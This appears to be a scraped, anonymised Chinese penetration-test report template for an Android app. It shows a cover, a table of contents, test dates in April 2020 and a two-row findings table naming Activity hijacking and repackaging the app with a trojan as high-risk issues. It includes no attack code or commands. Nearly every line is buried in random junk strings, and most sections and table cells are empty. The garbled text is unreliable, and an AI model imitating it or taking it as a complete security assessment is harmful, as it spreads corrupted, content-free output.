$ R1 g7 r% N( V! `6 N
1 j) U( o3 g& G - R5 }$ k7 Z5 I: v' ^1 Z
. B5 s3 N& F P, r4 E2 l
1 q) a$ l- b3 t2 m, L$ M/ f
3 D9 `* K8 w( O, l s
1 T5 [. R1 K; l! U5 N' ?; t* t+ U
4 J6 F1 @6 v2 _8 _$ z * T G+ U2 j9 l3 X+ Y
) `0 Y/ y- c" } o& |5 l. a9 F
4 v7 y& G T" k. y; l" K; W
8 F, w' c7 X+ b1 X# S 文档编号:
z# e5 Q3 y" \4 P3 F8 @9 r( S1 A+ w1 d& e2 F5 w
! o5 Y6 A6 q/ _0 }) z4 v
% _" k- r7 t- G , @/ q0 ?9 F% M) ]/ z g( a" h
: ~; W9 D5 r2 F: A
" z6 l* W! ]' [4 v9 i. T/ o) c7 g6 {1 m; ^& b9 [$ @7 t
- `( w, m. \1 p) |3 b+ q' D3 b. k* d9 [9 a) K
/ e. S2 R3 m6 v- }! e( a0 ? {3 }5 F7 Z# X; q* P i
/ u4 s/ M) o9 j' E5 c$ v( f5 P4 i: A+ n! Q' a" A. E! A. ^6 e
2 ]! ?3 D- Y" T8 ~
( a# }( e( B# w: x
3 f, n. n5 {) i1 _2 R; ~/ S& q \: [6 k- m+ k9 U2 \) L
- |8 [ ]( b% K2 g9 S/ _
5 p( _; r) ?1 s5 ~0 h0 P/ r" k
3 [) B7 n& [% a/ s8 z( @* h) R* A! E$ C: }& V8 G
% Z" o: J8 l/ l1 \7 ~4 H! l
% r1 J) o7 h& `9 O) M: K% Z/ v ; Q {* B! v0 S5 L
, S) q; ]. H, {, r* F* B+ i1 j
5 _$ b+ y* Z" P: k% `
6 G; D8 Q! T, Z 0 h6 a1 K% F9 e" q% B
3 j: @$ e' ^4 L( L8 ]/ B
: B0 l6 B$ o. }3 C
7 y5 W0 v: z( J. P: y
! S& U( a. _9 [% }2 g& T
2 Q- e; C+ v7 b$ q4 B1 O7 ? z
& t6 Z8 ^+ j: t, _9 s
3 V2 i* p8 m3 ` 某某某APP渗透测试
' k0 E! V3 ]9 g& V
% p" J+ U! a, G$ c" d2 w0 b. R+ ?) E
4 c, s6 r4 a) Q5 {/ b! ^
7 I# i5 {1 {+ K9 E3 Y
1 ?6 A) H; m% y0 T0 O( [3 d# T1 ^% {
+ b: U8 I" U+ z k9 o' H+ N
- R" Y9 z. `" d( W) o
. g# ?+ S O# x2 A0 x' I7 k7 |( Q: O0 i! C8 D# s# Q3 K
( D' q- N8 _9 R3 [( {
) p7 G z4 F1 B! U; l8 |( S
, d6 l* {0 n9 m2 x K' Y; b, E3 w* M Z% Z. V
4 U+ Z+ ]$ s, ?( R- A, O2 t& g9 i5 ]& l2 X( p: \3 k
( |1 f& L, f( k- k; c
0 w2 E9 ?6 q. K) ]& O
$ N7 z% x5 X3 k- f9 B! X" e( |# v' r& l2 i5 f' T+ Q
% Z1 V' h4 m! ] u1 p: ?9 S
0 q( `/ J: ^* j7 b9 U
& _3 h1 G9 I8 @+ m6 J: [1 S0 Z- J; ]4 m; f1 M) I
8 _) z1 ~& s1 Y9 N
( o$ N. k; s0 x% P2 H: e
6 A% w$ T# ]& L
' y# K. u0 O0 ]! ^8 F
5 ?: |$ V$ x. C; D5 l( Q
# ~ Y! e/ [8 @2 H3 i 技 术 报 告 + {$ E% N' N, X5 a& d
3 P' N1 K* v/ W# s
1 e5 B; s& e" x$ @
6 u( R- ~5 ~* Y" E8 Z 5 z, J4 Q; ~& z; S7 p4 }
1 g1 V; p+ }0 [* H! N+ q8 v |/ I4 k 4 P* g2 r: s8 y; j: R
3 X' a+ u4 l: Q" G
Y5 u6 E" ?0 V. M9 d, Z8 V5 t0 ?& V& r
7 ^5 F1 v- ?8 M6 Y! t
( G% B' }+ g; j5 t# o1 \
9 p0 B: T# C% W2 c# n' B2 d; M. {7 R) }$ U* K% o' `
8 x* ?) N+ `. o
" s; ^( X4 X: A* v * N6 F- l! o/ u2 e. F, T1 C
! R/ A8 {$ I- f# Q; P4 u9 {
, ~, L8 \. X8 x c! _9 o/ a+ e/ d9 w; E# f. R' m
5 \6 ?/ n1 z7 Z' _% q
; L: O" o- t7 ^8 g
& H5 e2 i8 y" H# b
( G9 h% u7 V# C4 B# ]9 n
. Z5 D& x; q \% J+ W3 o9 z# F" b1 U* J
. r) W" ~4 [/ [! ? O
5 e# J6 _& P# y& I# s& _ " Y3 O7 u5 v" ~) N n3 _0 u
* v c3 F1 ~/ t$ v* u2 I3 q ; a+ w1 n% k* v+ z! \
P$ V* D$ M5 y0 Q7 |
2 E7 [# y2 r" N$ o
8 g! V% {! x1 j
! M7 _5 H' A1 P+ }* k4 m
/ g4 V6 J$ J! T/ J: a
t4 }3 g7 v. Q6 ^0 \7 e" l6 W/ O; N8 |1 C6 @3 p( A
3 R3 |: e: V' ^( S; N' x; D7 R
; |2 E$ A+ \( K) e6 l% d# d
* B5 n! [' d) z; y6 H( a& `/ ?# t, P3 A2 ]' F) x
( q4 T) `( u. w9 b' P
' S) K" t4 T' _* L2 E3 [6 t( {% S* p
( h% O0 N& R: V, r
& `/ q3 k% J+ a5 f
4 K8 T B$ `, X
" ]8 ]# }0 @, G% C. t) e9 K 8 p. V3 T8 U" R6 W% y. b+ J
- j. W" j' i% R7 l0 n
2 r% Z" O5 ]! ?; l! T$ s% R: C3 V8 E& ` I& B! Q
6 B2 o9 o- X+ d5 P9 Y7 X
/ n% D4 V# W5 e' |* I! Z5 c H1 i1 o" e1 Q8 T' _
% V" m- _, H9 v+ H W4 @* Z: t+ l
& Z9 E# M8 q8 ?% m1 h. R# ]9 w) {
7 m4 H3 D' L" L: ?$ n
* L; K7 f1 M9 l' N& a
6 ?* r w1 ~* |3 S$ B
7 Y; o$ Q) S" f: G
+ I. ?; Z) l4 P2 { C$ Y4 E
9 H+ t |4 I% I- B
6 E2 x: c. ^# l; {
7 d( ^3 \% E, n8 m3 c" C3 y! t1 C9 W( Z! G4 e* U
$ y$ {1 L! }" s% D5 t) W* l S3 d; M. ?
' X1 A, u) x8 Y+ ?& Q/ R: ]
% u, I7 _/ W0 Z& L: _
0 s* @$ w) E9 h. c. d& _9 ^& i6 ]: D4 b) t8 e
4 E- j( V5 {, W5 c
: m& z* d/ @2 I5 C' e2 Z9 B
8 p' P# O% j4 G' n+ |
: H& t$ a2 R# _( a 8 E. T. G9 P6 ?
' D4 C0 s. P0 ]2 c* I% f
! ?# U# K2 x2 m3 o0 P, _& \$ f
8 s! V7 C0 s8 S2 [( ?, @' q
* P( S. t. _ ~7 b6 n+ b# m' H% y; z: U6 e1 N" E4 C; U: c
8 r( r! g6 h, o0 g/ I2 ~6 O2 X) R
H- ^/ {5 @( s
, o3 I1 i! N( n; u4 t, N! B2 v6 E4 i& n# f0 h9 p
, J, {0 o4 T* F4 f( z9 J/ g
! y) \/ R. j) ]7 B$ l
* X2 g9 x4 }2 N8 o1 b" G( B% D
% d% c% h& W; y
! a" {! q/ a- y) Z( F4 r
( I/ Y: g l- Z1 X1 R) j
% ^) D5 J+ K( u. L) n1 p; Q
7 w; [* x. ~7 K* `
; i0 J ^+ U( V# n
6 g6 s9 i/ ^' F1 l: e1 e( G$ D
6 }! s) X' u$ [! Y) S/ O( c
8 w' h F; _/ m3 n1 a0 G) _) h
9 g, n: i7 a% u/ T5 r; r- E2 P$ g5 F0 W8 R* \0 }5 U
; Z. O3 S! t& X% ^7 C8 Q
2 {: Q" \+ k% T) N. B
. {) ~8 _. x3 `+ g. ^# I# ~- T
& }5 x# m# J& @% [8 ?( F; H3 W
$ {4 h- _. @( s9 F/ `: {
+ a- A1 @, s# J2 g$ ]& o( b4 w 3 j% M4 |, G4 d. F3 S
9 j7 `. w# g5 r/ k t2 J% _ . T- C1 ?* {; A2 ~) n$ @1 z3 X
0 t9 N' U8 i; u9 x4 j
2 d0 h! m* v! g4 V- P8 \' s S& {$ a( k6 g- V6 C
- A; _1 U- L- `. m. w/ B# _6 ~! r# N! l2 U1 J7 O- o6 h {
二〇二〇年 9 G3 H" m5 g' v, x) S4 o
+ X, s7 J+ D1 P) B& \4 v( S
, H3 K; l# u( U- k1 ?. h
0 x- J0 e: }8 u) d L' j l! V# D* L5 N; x3 [: l
) s( T" V7 f: c' a% N) ]
$ g7 a9 R/ V. x& T) D( W, t' S
. P# @! x5 L4 ?
# }" r5 e$ r, Z8 `) r `- @
4 }. p! b& T5 A2 d9 _) x& x
, N* \7 P" ?6 M3 Q
3 y8 P4 F, P+ ^6 V: `
: u7 y, H% X! t- o6 @' e& M `1 s
2 [$ F0 d1 ]7 c1 V
( E; F, G' a0 s" M
0 j+ O5 E! o6 g - o" @# t/ x7 Z' ^3 d. _; \
, B+ X1 C0 I& P 6 s# T5 g% f9 C/ F0 @
( ^2 h0 N0 D, m9 S! I. e7 _. o8 t* X % A5 S+ d/ L2 V9 u& h5 x; w/ o
$ Z% H: D9 @8 D1 F4 S% \# Y. c9 ^1 r+ r
目 录
0 g% s1 R: \: j4 T# o- E2 U# _; y5 U( @: q5 l/ D* }' ]
8 @ d* l0 o! d p. G3 e" ?$ a2 ~
' n s4 w+ J6 e! q- l$ k
j. [, y* v7 G
H Z" }: U( c( p. l. C ! m# `1 m* T I' B3 {
9 K" [+ m3 p% M
; p! V4 r1 {4 R; ?) u
2 G/ P, H- e( ~: W: J% r
' O2 R. b2 L8 F, s6 N; ]& r! i# s! M! |% F N" ]! X1 F
$ i5 R9 E& L2 K1 c( }% p3 g" O7 {0 m/ Y7 ^* |! q* W. N8 I' _
1 概述... 3 5 g' n5 @# Y- x( C% u9 p; ]
3 f9 }9 p5 ?" {& a9 n6 V
' H4 A/ G* D' l: {9 J7 F K. c3 n) }7 d% h/ q. p; H( r
' n* F% P1 @. C9 S
7 L5 j# e |5 k 1.2测试时间... 3 # F1 B: N, A1 ~0 a: @
3 q ~( x$ i. ]2 Q
9 B" E: m S7 V8 H6 e% m: p9 P
1 C8 T8 a0 \% y4 [
3 Z, ?% v% q8 G3 D. z' E6 {( p9 H. k" s6 C2 T* d0 v
1.3测试对象... 3 1 ] j# p$ E5 |. r9 k/ V
, _/ o- |( J) M9 s. `
m( ]% d* Y( W5 Q4 K( ]# {: t7 W# c& T% {- v
! d5 f+ R# _' R( k( }+ y6 P
' f2 M: F5 _$ Z7 p% S) M( g n( o 1.4测试结果... 3 7 h5 }( j% {7 @/ ?
" e5 m! u y4 a2 a" p
0 w6 }% T* Q7 ~$ G/ @6 `9 m& q
6 R* Y3 d. ]5 B! `
+ [, k# Q; i3 g: o2 f7 T- u/ t ~
3 O. M& F1 E) K m% p( U 2 检测结果... 4 / s) s; s3 R) ~# ^: t0 k
! z7 T- [# M- w% U- c$ K2 e* B
. s1 N- v9 y- q' Q2 n: q# I5 h
- D. P! o+ R$ _# P; b- m$ {& o7 w ) E$ h, R4 _' |3 {& G
3 r( n, t1 e8 P 2.1 某某某... 4 2 c. B. v3 v$ [7 i4 `3 L3 ]4 \& C
7 e8 L7 E0 S/ F9 f. p" I
% @9 y2 c, K, c6 Z* t; b w( F( a: `& S' V3 ?, p8 F# E
! E; N7 W, p& @7 e
8 {) A6 g7 X2 r& T
2.1.1检测目标... 4
( b3 I: C- _% o5 f/ C7 y
2 P' _, K5 t# V) o, `3 x
1 d: b) \$ v1 x8 H' V% A k& ?
: a: T- d6 m# w/ r
3 G/ | Z7 Y. W2 V. e$ z
, Q0 g' t# I3 w: W9 M 2.1.2检测结果... 4 1 [6 r. T7 @2 X: P7 Q8 `0 t
! G+ w& \+ t" A% ]
2 ^) P' f* [* i& ?; |% i! O# y% V8 n$ L2 j F
, c# p% B6 w! H4 Y6 C+ n/ O9 A6 ^) ?$ X, q( ^! f$ p5 x
2.1.2.1. 4 Y! ?7 h- T" {+ q+ h! R
" _4 F/ \7 |4 r1 h
) [, q( I2 `& b1 D9 z3 N W
; p( v5 ]4 y# [0 J2 g& A/ r 5 T* H; f. l# Y+ G
9 @) M- {2 _8 R* c% s 2.1.2.2. 6
}0 A' a( b+ |) q( X
( e0 _: q4 C, w5 T9 y. L) J
' d/ E- B! b. p% m1 R8 R1 d; b% o! J; Q
5 t6 q7 B F; \0 c6 |" ]: [9 c8 t/ |, U$ T- c, O. i
( o6 B( g' h- ^
! i7 T j2 `" E
& W1 {7 \8 A( l1 C
0 L/ K1 V# g& u! U' l. n8 _9 I. j7 a+ a# u: J2 S- {- M0 [
4 z: o+ }( A* a% W
# e8 \. k) o1 B; ^. }* e5 H
, ?. _) ?3 l/ T# F6 u/ @- S
8 s7 v+ @/ ^( ~$ Q3 q3 a
0 {2 @; @ F0 b k1 N" a8 x. y " G; O, C: e. Z* a
- `4 I+ I6 L1 ~# N' R* G( A+ t* |: C ! U& m& E# Y7 T0 g7 y
' i1 E/ F% h+ }7 t: n& Y
1 概述
6 j) \/ T3 I) `/ E7 W; J, C$ o! |5 n
% X& h% p$ Q4 a+ b) ]
( i8 P' [6 f: Y" K; o/ J6 H8 e 9 T% Z6 Q/ R8 r
5 p \/ b+ F8 n7 B; S9 n2 M" D# | 1.2测试时间
; e, b2 L9 k9 H* `
/ v" f3 S* s' }+ e9 u% b
0 ^0 F$ o6 [ m9 F' {4 p
4 I7 w* x. j$ n0 D; o 1 G" k# t+ S5 C, a1 n
+ i4 {5 x" K! Y! I3 _* \! K3 v 5 `; d8 ~: O( j
# ?7 p. | ~, B
, i6 g7 ^: v& P+ A* v2 p g
' C8 a/ t( u K# K5 x6 K5 [
- \2 C- X7 K* y! Z; m# U
$ `6 M' g0 j* R2 x0 W6 t( @* [ 9 B: x, z+ L" a
) S# ^( J& Y" T. q: E0 f9 | 渗透测试时间
6 K* v, Y6 I i( P- G e2 A0 t' s- D R4 R9 {
' O. S' @$ c5 g
. H* y2 m; A9 j) s/ E3 _! ? |
, k N1 |- B" U3 N/ w" w
6 t, m: R& q5 b0 Z t( s
R9 `$ v& U2 a! ?/ T7 G8 D* w# }
5 C6 S) [7 ~4 B/ S. p" D
$ d; j0 p+ A4 ?! N1 D
2 \1 X: d2 O6 U: N( ]; F% {5 w4 R
- v7 X5 D* E! D2 Z* O
2 ^5 P; l8 P x/ t. E$ R
b/ z1 \6 \( x J( E 起始时间 ! y: ` I: H; P3 d$ I6 C) M$ j4 j
' V- E; V1 K0 U6 X
/ C4 i- L$ H6 Q2 u$ E1 E, C
; J$ G" G4 Q; c- \: z" M$ k |
$ a8 Q+ p' k9 T3 f' y" k: u3 P8 o: K1 w2 T
0 r$ A% q3 e% v0 b& N( w5 u; K- _! V
9 B; N3 P. Q2 p/ b( ^ * F$ e* Y: `" A& X/ Z! t
- W P" b# J( n- E- W" m& r0 {2 z
2020年4月6日
( ~: N0 {4 K" z `( S1 ]
0 P2 `$ M2 `; w7 n1 I- j$ W8 L " X1 V1 b a! ^1 `
1 Y7 e" l; j% X( U+ O- o& |# J- }$ \; v
| 3 ~* ^0 Q/ F$ ?: l/ O ]
! T; x- b0 ~: L1 b
% Q9 X% P4 m R6 \0 E8 n9 N; \% _" Y5 C! ]6 |1 Q
8 V9 }8 O# V8 }, P' ~+ b
7 b J; e' j- U) B 2 ~2 m4 w* o3 h. {
( k( {3 N' o/ T( F. Y7 O
) V8 B, ]( Z" [+ s3 d( `0 {5 w2 _; B" @6 R" t6 w% d
结束时间
+ h B/ |% y2 T) S& Y" }4 `
2 T1 D# e1 M- i# j
! ^8 s9 M r4 G; g8 m
/ V2 L6 S, Q$ x9 U' a0 B | ) p# r( F1 F9 e8 h4 C
- t% R5 P: A1 s' P
: c8 P, S# o/ V" _7 A
: Q! M5 U! c/ ~, S' f: Q 0 o8 v! ~$ r2 m+ p; X/ ^, Y* P* w
/ W, K# q0 Z3 ]5 f/ B
2020年4月9日
) J: `# q& [( B& L
/ T5 q/ `1 s9 q7 T, J
1 h0 U8 k/ M9 o/ G1 k
. x# q$ ?1 H" E. d$ b+ i+ ^0 h% a | + F3 P. a- b4 g3 N
# n1 S( M* E* J) o7 z7 B; W( t- z
$ [# \3 S' o+ w9 B* Z* n- T
, O" c9 L ~' _8 i, U9 z
) g8 L: N2 o0 E% I4 i Q
3 F/ Z0 w: H0 u' u% [
4 w6 B" V' g" s: }9 U4 E
+ {- S' k6 W% P
) J8 [( Y6 n8 ?- d: n' _6 g
; K: {0 E% I+ N: U% z 1.3测试对象 9 ?$ v% K: W$ [( i7 h4 V3 y$ b
6 E% g7 t6 C; v* X& m# J
1 J3 g4 C/ ~) Z
' U8 S, I6 O$ t3 o- Y
5 n$ j( H/ l0 P2 @* P! I$ `7 g
' I/ g. E% C p+ P& h 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
2 j/ {( ]3 J- `' z5 U3 }! z) c4 I2 p! |# a3 N& H
' G. `" x3 P. o1 b* g
# [" `: m4 X+ S! W: F* P
- c6 l( F; o P# x- C+ D; O8 y
i3 s5 y" }( l/ J 表1-1 检测对象 s( Z/ R! k& R$ R8 c, k0 K
* U q( h/ s1 x4 M
4 F( A6 X2 A# ~# X. C5 U; T( G2 U, P2 l; W. ?; H
' v, x& t: E5 [- o8 B
5 ?8 q @" h" [% E
5 b( Z2 |. V# W% `. q( w! ^3 @
, o! l4 |$ E2 T& q% b2 H$ @1 A
: }+ _9 I% f; v2 z/ M, |# H6 i
) L9 ]9 a+ s9 R9 ~0 ]4 b( g0 y9 n
+ B' }7 R- w# s" B# u4 y# |7 j) c
9 v' r6 s5 s; g/ A5 s; o; Y) ]& U( m ! S, a+ x8 x# E8 M/ z: R
5 ~5 u" C; B0 M: c 序号
9 m x4 e3 ~; d0 n% n
3 a* f+ O1 b# u' k4 x& h5 a
' \5 X( ~4 {4 Q
0 b* K6 C' u# v. A | ! z1 S! T' |5 y" W8 ]
4 ]/ o8 w2 J, H0 C' N, y
1 M4 F- `. t' Q7 r
0 f1 Z5 T8 J6 V9 F
: y, C* Q/ a+ x. |( G; O# F0 Q
+ |/ g( G% G: t( w/ b& ~. ~ s 测试对象
5 x3 C' \6 S& N( H/ C6 S
3 B9 G3 _3 }3 |
' D: y& k; E* `' o4 F% r
& G" y" ^" b3 X3 x) i | - ]$ c; I1 k1 I$ V2 G0 T4 y
% n$ D0 c g- O6 p& G
& P- o& Z, }7 E2 v6 Q! Q* i, t8 G
% Y& t( L1 X+ F$ C# R 5 K4 K# u- u( N
! M9 Q$ H* ^4 C+ R) O0 p) n+ }
测试地址 - ~, A7 Y, Y+ x+ ?; q! a
, f2 C. p5 v R2 Y0 w k8 f; v. `
; K; m% F* O u3 q7 X: ~+ v! U% w
d5 i! |* k0 @( s( |. a
| }, {' ^2 m4 c1 x. t1 f
# x/ C' F, ^. N5 a/ N7 D" L
' r* \7 ]& i6 h9 Y7 A/ ~% j6 D; L
( A% F% X+ a. D, F: U5 d8 A" q V" ~& b2 G- @% ~
安全漏洞
9 k' b/ o: X0 M6 r/ B7 k2 k+ W. J/ W
8 o8 L/ V. Z) B2 _2 m - D% r9 J+ U8 \: u' E1 g
% Y7 X0 ~; Q% |% _" v ^( t. R, K |
: y1 H# y7 t1 F3 t5 U4 T! \5 q; @6 j4 t7 r1 X+ b: T1 E9 M& [
3 \ n4 M% s: Q3 O, z- O) D% {$ I+ |; ?. y: n* B" u
5 v* u! @4 \+ _) R9 S1 B4 E8 A7 A& B1 |+ G7 X5 W7 o9 r6 W5 ?2 ]" x
! ], w# s. ], n* a) P! z' q% Q( _1 ^% j r3 K
& j" ~, Q T: l5 Y
& v9 C( ^& f4 ^& e' }, X& Z+ [/ d* W
1 ) K! z: @1 ~8 g$ E
! j9 K+ _# w9 b- _
! _4 ?% |; {, J! d; l6 f3 }( `0 u+ L u5 @& j
|
" k, x% m: A8 C k0 m8 u) ]) u( s+ k. O
( K# W* R! h* f, a
4 n+ k' i' h6 L8 _% W# ~
7 N0 g8 {% W/ a8 G; X9 i6 z& {5 x6 i$ Y) |+ Y$ |
某某某安卓APP $ e8 a2 E$ D3 R* s
, z# ^/ Z1 ~" X! [6 _2 r
. I, p. A+ O' W; x! m9 ]4 {
; Z# h) w; j ?, n' f! p" v |
+ l. `* {. H7 y& u( A7 E# _# o8 t% Z4 C
; M/ }6 ?3 g$ C: z, S
6 F- I4 U* g6 Z9 Y7 @* w
3 H# J4 g6 r* q. E7 ^5 a" @, h9 `; n2 J' u% m1 p" M0 \/ d
1 }- K0 g& b2 L( M0 I
$ p6 K6 z7 O& B+ ^& ~ L& E' K8 v3 w, [$ r! x5 q$ {
& _) \- p O3 I* L4 H; C
|
: Q1 C+ X! E8 C' d7 H" X% p( b5 } U2 H" q( R
* j+ T6 w" `, k; u' s6 [" r. O
1 c K& f7 ?6 c2 o: n; r
& P6 D; i' t# {1 Z
# z) _9 {* H$ x. E: F. N 2
7 w, e$ q+ c% G# o4 I1 s7 f4 x# a* ^5 f0 ~; ?
j/ C% K: ^7 `
, B/ B* T3 S( u# W& c | 3 d* z& j% s3 x' b0 T2 L0 p+ {' \! S
" N1 R- \7 i' q3 o: G" e3 ^
( c8 E: P1 e* M6 G u4 m: K* V; n
3 T8 O- T, u: m* v* y- o
: m: G) L1 K$ j3 A- M
0 i% D7 I1 c: F/ S
9 g- V7 M( X5 Y. ?, K+ t; Q
# ~! E7 t* S% F. }3 l8 N% z
4 b5 X U. I( Y2 f
+ t+ H% x1 Q: t$ P. @- G, u+ T 1.4测试结果 ) D6 r: T) W1 _. p/ m
6 w1 i; ]7 @6 R
. C6 L1 B! z6 U; `( l
6 B L7 m& O: Y5 i: ^+ A
/ J) z( y* {6 K: i: V' z% N
9 y7 T* p$ b8 k- s: L
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 1 t! q- Z: x) m7 |% V8 C
) O; R5 k" s( @) c! H3 N' I
3 A9 ^- \: I/ x) z! j V+ O3 ?1 u7 q- A. i, O: }
% G- J# U1 v9 b9 A% X b2 I
: S5 X" g% J% b) P, \6 c @% c9 p
% C$ p O. m$ Q+ F$ Q4 [) f
$ z. X1 ]# h6 J
3 s# _, H1 m' S1 ~4 r& l
( a, a) c) w& B0 X2 ^2 O$ `: _" R
$ r* m+ R' m6 Q4 C/ o
7 l1 N% O2 C" \1 G; n; ]( x
% V# O4 P" |. ]& j; @
& O" r$ D. L6 g+ u' l& h
6 N% O1 d8 S* z) }! U9 g$ ?3 A2 b& x, G) @" X
0 r& R. h* P8 T
+ m( R' i+ y0 `; ^" V; i; C 2 G; e+ Y3 l3 `$ @1 f; T. z
3 [1 h. W( w+ K) C
6 W* {- u0 K( W# W$ W. N( }& s
6 L; z" P- ?$ u( o/ Y5 ~
序号 P$ i5 S+ S/ ~
+ C' R+ U% Q0 H5 E4 C/ z4 ^* I
* S+ J# _2 X1 K; s
5 I* L7 K( a; M7 `* ~# y2 o; [ | e$ A6 t' Z/ J2 F: t
7 y n3 g: s6 s5 T) B" I
: @2 K* J8 p" r5 y
$ T) v. I" Q; F9 \% X( H / L2 S. c9 @9 a1 }9 q( a- N
/ v) M! Z- [0 z6 x 系统名称
+ t2 Z+ x2 K& ~! L4 {5 g) _$ z K& h% |2 M+ a1 j) @2 X
/ h! O1 j7 U4 e2 q: L
6 ~ s, x/ n$ v' U9 k2 {0 K | 9 e1 |5 s' {. }6 @$ L
6 }3 W5 j- V9 y/ v: d% g; H& _ : f8 k0 o( d* P/ T' f7 s8 C
( X1 ?5 U+ Z/ U' t3 o 3 X. K) v$ W' P+ @6 X9 x
6 e/ d" w5 U+ L 漏洞名称
0 c4 g8 x! p+ i# J. g& v+ b& a' g" O( H' q3 y
( W! ^' B7 I# s3 b; A H
6 N1 Q9 F- W. y | , j+ N1 x* R4 A# I$ Y# O; G {9 h
) R' M* D7 H* t' |& B
1 `5 c& z& R+ o. R( S# `* E! J$ ?4 D& b% y6 J2 {
' T' d( n- _" _! s1 ]* @7 `7 \/ `% u7 X
漏洞危害 ; T3 j9 Z$ S2 E4 h" ]" v
1 b: @- N, N8 i0 L0 k* [4 f5 s
) K8 A! }' r6 v, c6 i
7 L1 m: T7 Z* m" V3 q5 r$ I | ) d- E! | v3 l h% Z: W4 s; c" q* b
4 M6 ?. Z, V) f& B3 ?
0 F5 O8 Q5 Y+ M. P* R1 J7 W0 L* d9 T* p- B s5 ]- v* V9 B3 z1 V
) ~, _& Q" P* f4 V3 a" {) y f
修复结果 5 p9 n0 f/ C$ R) C8 [
3 k' O" p# P" H' F / J2 m) x8 r5 ~5 B' }* @. O
8 q- c) b* l Q7 G, o9 {- a- W3 v4 r | Q# t: |- m2 u
9 p( G: \) @ }2 P: Y2 c+ `
' |& G' m$ d/ e. q# ]! [2 h/ Q# V% H/ B6 |' z; Y
; o. S: r9 E+ _% ]- G, H
& F" B. h& J- n6 b6 ~) j; g 1 W m/ s& b4 A+ B4 x$ b8 {
- @ J- I! ~/ K8 O* H 1 E) X, n6 N/ T$ f* t! }
8 ?6 X6 }% j; j5 p
1
% P7 _% Y( `0 N& X+ q: G& _- ?+ g9 Q: g5 A$ S1 _
8 F5 H+ l/ s/ N! L+ e* m" u6 c. N5 E# |
|
3 ]6 T$ a2 ]) A1 c) }1 L2 C; I
( ]! v+ ]& G: w: i( X: v . n8 N1 L+ z/ a! V) y
4 d7 {4 ~+ Z/ U' p4 O$ B6 w ; i! k# }" h( v5 i) o" O
1 D3 I$ m; a/ Q 某某某某某某APP
2 U7 }" P. S6 e8 l% Q
* D Y, x1 q7 N+ { $ M, H l- ~4 f9 {7 \* R7 z
( v5 q. v6 N3 G8 ~
| + H8 u8 ^# F( t$ M2 @
+ s0 l, e0 W2 t) A/ ^( ]8 S
1 U7 B2 q" V2 B0 y* ]0 i
b! Q1 E) ]& r I6 ~
5 e; o a' `/ k% u+ c1 i# }* E" l
Activity 劫持
$ y3 D* c) b( a7 W: L5 F8 |8 `3 S2 a2 S
# u/ Q+ I6 J- F' _9 n& \+ E
8 N6 l' J5 v+ X1 O
" j* G) m6 V# e" |* k
; U% L! \% |8 g
4 X2 K; Y! ^$ H' K3 }4 C8 V- e8 Q: W
, A& `6 r( M/ W: G. H6 Q$ i
. x9 q' I) J c' J& _2 Z- G+ _$ @- y4 y! D e
|
3 V- u8 L0 h, @- w3 o6 I" O: X
q0 @2 l2 o" O! a7 R: M
% E2 V& W8 c6 K/ ^8 x, z5 _
; j! M! c8 h3 i5 u
8 i* F1 e6 j" c, F% N! X5 H6 t$ |) K- ?+ w1 ]' D
高 8 S+ i+ U5 |! J+ L3 u* I" B
. C! J4 ]- p8 ^! C$ z
; w- C7 Z2 c( E- v4 @3 u( ?
' K4 O* W( v0 I |
( e+ ]/ \; g5 T( F
5 y# ?3 X% E# j" |: U7 G
( t/ B& b1 M3 e9 t
& t$ @& ?; V! P, P( a
9 k) H8 l$ D# V& ^
# f# o* ]( a" R % S# d' x" l8 t8 j$ c$ l6 u
! ]! u( U J+ S2 x6 ?$ i
( u/ J" ]' f" o
( \& r. u) }7 ]- q/ O) F5 b$ f4 j
|
6 [, l: _/ O; ]' j/ e' k; \, |/ w# b$ j& c4 S' ^% @5 A
5 G# G& h! d$ S4 m) K7 N- z( z" i1 z% j
" b0 @4 Z s# X& ]0 b5 g5 w& f& ~/ w# x7 K
1 ]' `8 v/ x) | v9 t7 ~1 s3 M2 R" F1 f1 N
% { Y9 P9 G' q$ m: n; l% j$ p6 \; [$ j; C8 G$ K
2
& E; I+ W4 Y" w8 ?# i/ ]6 J) E
$ y" K7 B) P2 S' |5 { 5 V* q) K) G8 s/ @ \7 g7 U
' G% N3 R- H2 A) S0 j |
* r( g" B# q& ?. P" X% \
4 H/ e8 q* t" ^1 x6 g: B , U9 [2 A3 e2 m( T
$ ]1 y0 C* p( M7 O
# n, ?; v$ K7 i- z2 C$ p$ ~. r
- K1 K# [, G. S" y
某某某某某某APP
* B+ {/ N* ~; w$ c) F1 q0 k" n; L5 x" W0 h/ Y
. [6 X# k0 i% V( B# {* X; C# `5 n
|
( N/ B+ U8 M; P; s+ |% I9 p' r I, t$ j9 W7 S( t4 _) W8 h! f
9 L6 l. {6 z* y* A9 h+ `1 @
' C2 c. y* @ |: I
4 Q8 J" x1 [6 a$ S# T
8 a; p1 L1 w3 r1 U/ @ 反编译二次打包捆绑木马、篡改APP代码 . v5 Z) C \# G) W" E# U8 ~
0 {5 n9 J$ u- @. m6 x) E' X0 n
* g4 K" U, Z( v2 h) |5 I
- ^( J) ~% L$ q |
% w8 |% S4 w& ^% R- w7 ]( h& z4 l# L9 l$ t. i' s
' {( s: y2 I& K, i6 [, N
% E/ S( ~# N- W5 B7 M * x& I4 B' A: w2 {% p5 y' `# p
- u; F9 J8 l7 B- x: c
高
1 C" x6 z" j! c6 Y- G; A# r
: D4 Y4 j1 e$ j8 c' \
% \! g: L; S. a& H9 ]4 h4 a# b; _# R' F9 `( ^! E
|
/ L( O6 E: @6 y; |0 r
& J1 x0 U3 @: K+ l* ] , N7 a* t$ k( |& R6 t7 h& `! w
/ V& H" g7 T# n! J) [ 4 E5 o. u$ U& s$ d+ _
; |% b( b5 a. ~! t8 N 5 u- a/ \' z5 x5 v: V1 a/ _
& j% B7 n: {$ c2 r
1 ]; i1 b3 Q: E# l. {" f
( N, s) {6 Z( c/ _
| * Q) i. y( |% d7 y
& d" V' t5 C, r& O: e
& u( O0 e$ C; d0 R5 p$ T
0 V" C! j0 Q0 K, Z ) O9 p# a) _4 y& g, f5 C
$ h$ U2 ]5 K( n) K6 u$ ]
; b) v3 p5 B* Z: a# D. h
6 P) ?6 p2 Z5 \
6 v j: m0 ] H$ D% B. a& n6 F6 Z+ j- K: [9 B) a8 h
' Q- R: R0 y% Q2 o" d% K
( V( f6 ]3 ~ _' y1 n * O& x$ S* r6 Q1 r' A
! l; A! I4 ?2 |+ H; r
4 P, y0 u" [- U. J: L& a! j
